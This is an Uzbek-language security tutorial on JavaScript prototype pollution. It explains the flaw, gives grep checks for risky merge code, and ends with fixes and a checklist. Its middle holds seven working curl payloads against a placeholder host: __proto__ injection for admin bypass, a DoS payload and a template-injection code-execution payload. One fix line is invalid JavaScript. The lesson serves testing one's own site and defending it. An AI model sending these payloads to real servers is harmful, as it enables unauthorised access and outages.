Prototype Pollution

≡ Barcha darslar
Tezkor 🔎 Indeks
🧬

Prototype Pollution

JS obyektining asosini buzish
Dars 30 O'rta o'z saytingizda
1

Maqsad

JS obyektining asosini buzish

JS da obyekt merosxo'rlanadi: obj.toString avval obj da, keyin uning prototipida qidiriladi. Agar hujumchi prototipga xossa qo'shsa — barcha obyektlar o'zgaradi.

2

Tushuntirish

// XAVFLI — chuqur birlashtirish
function merge(target, source) {{
  for (const k in source) target[k] = source[k];   // __proto__ ham
}}
merge(user, JSON.parse('{"__proto__":{"isAdmin":true}}'));
console.log(({{}}).isAdmin);   // true — HAMMA obyekt admin!

// YECHIM
if (k === '__proto__' || k === 'constructor' || k === 'prototype') return;
Object.hasOwn(target, k) || return;

Nima bo'ladi

  • Auth bypass — isAdmin: true global bo'ladi
  • DoS — Object.prototype ga xulosa qo'yish, kod to'xtaydi
  • RCE — node_modules'dagi zaif gadget (lodash, ejs shablonlari)
3

Qanday aniqlanadi

# 1) chuqur merge / extend funksiyalari
grep -rnE "function (merge|extend|deepMerge|assign)|Object\.assign|_\.merge|\.extend\(" src/ | head

# 2) xavfli kutubxonalar
grep -nE '"lodash"|"jQuery"|"ejs"|"pug"|"handlebars"|"deep-extend"' package.json

# 3) for-in (prototype'ni ko'rib chiqadi!)
grep -rnE "for *\(.* in " src/ | head
4

Buyruqlar

# 1) oddiy sinov — barcha joylardan
curl -s -X POST https://site.uz/api/profile -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"__proto__":{"polluted":"YES-1"}}' | jq -c .
curl -s https://site.uz/ | grep -c "YES-1" && echo "  ✗ POLLUTED"

# 2) constructor.prototype orqali
curl -s -X POST https://site.uz/api/settings -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'

# 3) merge funksiyasiga to'g'ridan-to'g'ri
curl -s -X POST https://site.uz/api/merge -H "Content-Type: application/json" \
  -d '{"a":1,"__proto__":{"polluted":true}}'

# 4) DoS — to'sqinlik qilish
curl -s -m 10 -X POST https://site.uz/api/profile -H "Content-Type: application/json" \
  -d '{"__proto__":{"toString":null}}' -o /dev/null -w "HTTP %{http_code}  %{time_total}s\n"
// server javob bermay qolsa — DoS muvaffaqiyatli

# 5) jQuery (3.0 dan oldin)
curl -s -X POST https://site.uz/api/search -H "Content-Type: application/json" \
  -d '{"q":"x","__proto__":{"length":0}}'

# 6) template injeksiyasi orqali
curl -s -X POST https://site.uz/api/preview -H "Content-Type: application/json" \
  -d '{"tmpl":"{{constructor.constructor("return 1")()}}"}'

# 7) saqlangan pollution — qayta ishga tushganda
curl -s -X PUT https://site.uz/api/prefs -H "Content-Type: application/json" \
  -d '{"__proto__":{"debug":true}}'
curl -s https://site.uz/api/config | jq '.debug'   // true → saqlangan
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
`{"polluted":true}` boshqa so'rovda chiqdi**Prototype pollution**
`isAdmin` o'z-o'zidan true bo'ldi**Auth bypass — kritik**
Server javob bermay qoldi**DoS**
`template` orqali kod bajarildi**RCE**
`debug: true` sekinroq ishladi**Konfiguratsiya buzildi**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
Keyingi so'rovda yo'q**To'g'ri himoya**
`__proto__` rad etildi (400)**Xavfsiz**
`constructor`/`prototype` ham rad etilgan**To'g'ri**
6

Zararni yopish

1. merge funksiyasini to'g'ri yozish

function safeMerge(target, source) {{
  for (const k of Object.keys(source)) {{          // Object.keys — faqat o'z maydonlari
    if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
    if (typeof source[k] === 'object' && source[k] !== null) {{
      target[k] = safeMerge({{}}, source[k]);
    }} else {{
      target[k] = source[k];
    }}
  }}
  return target;
}}

2. JSON.parse dan foydalanish

const d = JSON.parse(body, (k, v) => k === '__proto__' ? undefined : v);
// lekin JSON.parse o'zi xavfsiz — merge bilan bog'lash

3. Xatolarni ushlab olish

app.use((err, req, res, next) => {{
  if (err) res.status(500).json({{ success: false }});   // stack chiqarmaslik
}});

4. Kutubxonalar

  • lodash < 4.17.21, jQuery < 3.4 — yangilash
  • --disable-proto=throw (Node 18+)
  • Object.freeze(Object.prototype) — ilova boshlang'ichida (sinxron, ehtiyotkor)
7

Tekshirish ro'yxati

  • `__proto__`, `constructor`, `prototype` rad etilgan
  • `for...in` emas, `Object.keys` ishlatiladi
  • Chuqur merge funksiyasidan foydalanilmaydi
  • lodash/jQuery yangi versiyalarda
  • Xatolar 500 beradi, stack bermaydi
  • `{"__proto__":{...}}` bilan test qilindi